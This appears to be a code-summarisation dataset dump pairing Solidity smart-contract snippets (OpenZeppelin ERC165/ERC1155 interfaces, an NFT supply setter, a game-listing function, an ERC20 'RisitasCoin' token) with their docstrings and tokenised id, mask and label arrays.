/// ERC165 bytes to add to interface array - set in parent contract
/// implementing this standard
///
/// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _salePrice
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver,uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @notice function to set available supply for a certain token @dev requires owner of contract @param tokenId is the token id @param supply is the new available supply for that token/ | function setTokenSupply(uint256 tokenId, uint64 supply) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
_tokenDetails[tokenId].availableSupply = supply;
}
| 6,941,826 | [
1,
915,
358,
444,
2319,
14467,
364,
279,
8626,
1147,
565,
4991,
3410,
434,
6835,
565,
1147,
548,
353,
326,
1147,
612,
565,
14467,
353,
326,
394,
2319,
14467,
364,
716,
1147,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
22629,
3088,
1283,
12,
11890,
5034,
1147,
548,
16,
2254,
1105,
14467,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
24899,
2316,
3790,
63,
2316,
548,
8009,
4824,
16,
315,
1345,
1599,
486,
923,
8863,
203,
3639,
389,
2316,
3790,
63,
2316,
548,
8009,
5699,
3088,
1283,
273,
14467,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xA4c4808777c16F5A846C92173592272198103DaE/sources/contracts/RockPaperScissors_V8.sol | @dev return active games ids in range for pagination by game id without Player B | function getActiveGamesWithoutPlayerB(
uint256 from,
uint256 to
) public view returns (GameData[] memory) {
GameData[] memory _gamesData = new GameData[](to - from);
uint256 counter = 0;
for (uint256 i = from; i <= to; i++) {
(, address playerB) = getGamePlayersAddress(i);
if (gamesData[i].active && playerB == address(0)) {
_gamesData[counter] = getGameData(i);
counter++;
}
}
return _gamesData;
}
| 3,130,774 | [
1,
2463,
2695,
28422,
3258,
316,
1048,
364,
8842,
635,
7920,
612,
2887,
19185,
605,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11960,
43,
753,
8073,
12148,
38,
12,
203,
3639,
2254,
5034,
628,
16,
203,
3639,
2254,
5034,
358,
203,
565,
262,
1071,
1476,
1135,
261,
12496,
751,
8526,
3778,
13,
288,
203,
3639,
14121,
751,
8526,
3778,
389,
75,
753,
751,
273,
394,
14121,
751,
8526,
12,
869,
300,
628,
1769,
203,
3639,
2254,
5034,
3895,
273,
374,
31,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
628,
31,
277,
1648,
358,
31,
277,
27245,
288,
203,
5411,
261,
16,
1758,
7291,
38,
13,
273,
7162,
339,
1749,
3907,
1887,
12,
77,
1769,
203,
5411,
309,
261,
75,
753,
751,
63,
77,
8009,
3535,
597,
7291,
38,
422,
1758,
12,
20,
3719,
288,
203,
7734,
389,
75,
753,
751,
63,
7476,
65,
273,
7162,
339,
751,
12,
77,
1769,
203,
7734,
3895,
9904,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
389,
75,
753,
751,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x1955D86f5b369Be4581Fb2D346B403d362883aC7/sources/EmployeeIDBadges.sol | Balance of expired ids
| ret[4] = balanceOf(EXPIRED); | 3,590,497 | [
1,
13937,
434,
7708,
3258,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
325,
63,
24,
65,
273,
11013,
951,
12,
18433,
5879,
1769,
1171,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract RisitasCoin is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "RisitasCoin";
symbol = "RIS";
decimals = 18;
_totalSupply = 210000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | * Constrctor function Initializes contract with initial supply tokens to the creator of the contract/ | constructor() public {
name = "RisitasCoin";
symbol = "RIS";
decimals = 18;
_totalSupply = 210000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 1,234,939 | [
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
